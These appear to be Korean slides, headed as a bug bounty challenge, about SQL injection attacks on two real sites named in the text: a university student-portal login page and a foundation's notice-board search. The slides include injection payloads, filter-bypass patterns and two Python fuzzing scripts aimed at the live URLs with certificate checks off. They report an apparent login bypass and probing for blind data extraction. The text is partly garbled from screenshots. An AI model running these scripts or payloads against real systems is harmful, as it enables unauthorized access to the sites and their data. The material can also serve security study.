



버그바운티
도전!

Table of Contents.

 001 종합정보서비스

 002 산학협력단

중부대학교 종합정보서비스

LOGIN

☒ 학생 ☐ 교직원

아이디

' or 1=1#

비밀번호

.....

로그인

☐ 아이디저장

- 1.비밀번호 변경은 메인홈페이지 로그인 후 Mypage>비밀번호 변경을 이용하세요
- 2.익스플로러 버전8 이상 지원(익스플로러10 호환성보기는 7로 낮추어집니다)

로그인 및 회원가입 관련 문의는 중부대학교 관리자 webmaster@jongbu.ac.kr로 문의 바랍니다.

에러

아이디 또는 비밀번호를 확인 바랍니다.

☐ 아이디저장

확인

비밀번호 변경은 메인홈페이지 로그인 후 MyPage>비밀번호 변경을 이용하세요
스플로러 버전8 이상 지원(익스플로러10 호환성보기는 7로 낮추어집니다)

' or 1=1 #

로그인중입니다...

‘ , or , = , #

에러

비밀번호

아이디 또는 비밀번호를 확인 바랍니다.

☐ 아이디저장

확인

비밀번호 변경은 메인홈페이지 로그인 후 비밀번호 변경을 이용하세요
스플로러 버전8 이상 지원(익스플로러10 호환선택기는 7로 낮추어집니다)

or /=/

|| /=/

or /=/ # 로그인중입니다...

에러

아이디 또는 비밀번호를 확인 바랍니다.

☐ 아이디저장

확인

비밀번호 변경은 메인홈페이지 로그인 후 비밀번호 변경을 이용하세요
스플로러 버전8 이상 지원(익스플로러10 호환설보기는 7로 낮추어집니다)

‘ || /=/

' or 1=1 # 로그인중입니다...

or /
or 2>/
or 'a' = 'a'
 'or instr(/, /)
...

' --
(Or / and) (/) (#/ -- / %23)
(Or / and) (문/숫자) (연산자) (문/숫자)
(Or / and) (instr / in / like)
' (|| / &&) (/)
' (|| / &&) (문/숫자) (연산자) (문/숫자)
' (|| / &&) (instr / in / like)

' or 1=1 # 로그인중입니다...

우회할 수 있는
구문들을 필터링하여
우회실패...

아이디 비밀번호
직접 찾자

(Or / and) (ascii / ord)
(Or / and) (substr / substring / left / right / mid)
' (|| / &&) (문/숫자) (') ')

정보를 알아낼 수 있는
함수들을 필터링하여
실패...



종합정보서비스

```
1 import requests
2 for h in ["'", ""]:
3     for i in ["or ", "||", "%7C%7C", "and ", "&&"]:
4         for j in ["1=1", "1 like 1", "1 in (1)", "instr(1,1)", "2>1", "2>=1", "1<2", "1<=2", "'dog'='dog'"]:
5             for k in ["#", "%23", "--", ";%00"]:
6                 url = "https://haksaweb.joongbu.ac.kr/login"
7                 # 보낼 url
8                 if h == "'":
9                     data2 = {
10                         "id": "91813274" + h + i + j + k,
11                         "pw": "sdf"
12                     }
13                 if h == "(":
14                     data2 = {
15                         "id": "91813274" + "%5C",
16                         "pw": i + j + k,
17                     }
18                 res = requests.post(url, data=data2, verify=False) #인증서 확인하지 않기
19                 # request에 점찍고 method 정한 후 request를 통해서 보낸다! 그리고 그 html 결과를 res 변수에 담는다!
20                 if res.text.find("success") != -1: # 해당 문자열이 안찾아지면 -1을 반환한다!
21                     print("yeah!!")
22                     print(data2['id'])
23                     print(data2['pw'])
24                     continue
25                 else:
26                     print(data2['id'])
27                     print(data2['pw'])
28                     continue
```

yeah!!

91813274%5C

||1=1#

ID = '91813274 \' AND PW = '||1=1#'

에러

아이디 또는 비밀번호를 확인 바랍니다.

☐ 아이디저장

확인




비밀번호 변경은 메인홈페이지 로그인 후 비밀번호 변경을 이용하세요
스플로러 버전8 이상 지원(익스플로러10 호환성보기는 7로 낮추어집니다)

치환되거나 앞에 역슬래시를 붙인다.?

공지사항

'order by 1-'

검색

번호	제목	글쓴이	날짜	조회
공지	향토자원지원센터 냉각질러설비 설치 및 구매 입찰 공고(긴급) 	중부대학교	2019-10-31	52
공지	2018회계연도 중부대학교 산학협력단 및 학교기업 결산공고 	중부대학교	2019-05-28	367
공지	2019회계연도 중부대학 산학협력단 및 학교기업 예산서 및 예산 공개자료 	중부대학교	2019-02-21	364

Forbidden




You don't have permission to access /bbs/board.php on this server.

Microsoft IIS/8.0 Server at www.iacf.co.kr Port 5444

공지사항

'having 1=1--|

검색

번호	제목	글쓴이	날짜	조회
공지	향토자원지원센터 냉각질러설비 설치 및 구매 입찰 공고(긴급) 	중부대학교	2019-10-31	52
공지	2018회계연도 중부대학교 산학협력단 및 학교기업 결산공고 	중부대학교	2019-05-28	367
공지	2019회계연도 중부대학 산학협력단 및 학교기업 예산서 및 예산공개자료 	중부대학교	2019-02-21	364

Forbidden

You don't have permission to access /bbs/board.php on this server.

Microsoft IIS/8.0 Server at www.iacf.co.kr Port 5444

산학협력단

```
1 import requests
2
3 for h in ["'", ""]:
4     for i in ["or ", "||", "%7C%7C", "and ", "&&"]:
5         for j in ["ascii(", "ord("]:
6             for k in ["substr(", "substring(", "left(", "right(", "mid("]:
7                 for l in ["select table_name from information_schema"]:
8                     if h == "'":
9                         url = "https://www.iacf.co.kr:5444/bbs/board.php?bo_table=notice&sca=&sop=and&sfl=wr_subject"
10                        # 보낼 url
11                    if h == "":
12                        url = "https://www.iacf.co.kr:5444/bbs/board.php?bo_table=notice&sca=&sop=and&sfl=wr_subject%5C"
13
14                    data2 = {
15                        "stx": "" + h + i + j + k + l,
16                    }
17
18                    res = requests.get(url, params=data2, verify=False)
19                    if res.text.find("공지사항") != -1:
20                        print("yeah!!")
21                        print(data2['stx'])
22                        continue
23                    else:
24                        print(data2['stx'])
25                        continue
```

&stx=%27+order+by+1--

```
yeah!!  
or ascii(right(
```

```
yeah!!  
or ord(right(
```

```
yeah!!  
||ord(right(
```

```
yeah!!  
%7C%7Cascii(right(
```

```
yeah!!  
%7C%7Cord(right(
```

```
yeah!!  
and ascii(right(
```

```
yeah!!  
and ord(right(
```

```
yeah!!  
&&ascii(right(
```

```
yeah!!  
&&ord(right(
```

right() 함수를 제외한,

substr(), substring(), left(), mid()

함수가 필터링

&

Information_schema

필터링

'	검색
---	----



검색어를 입력하세요.	검색
-------------	----

(검색
---	----



검색어를 입력하세요.	검색
-------------	----

‘, (

빈칸으로 문자 치환

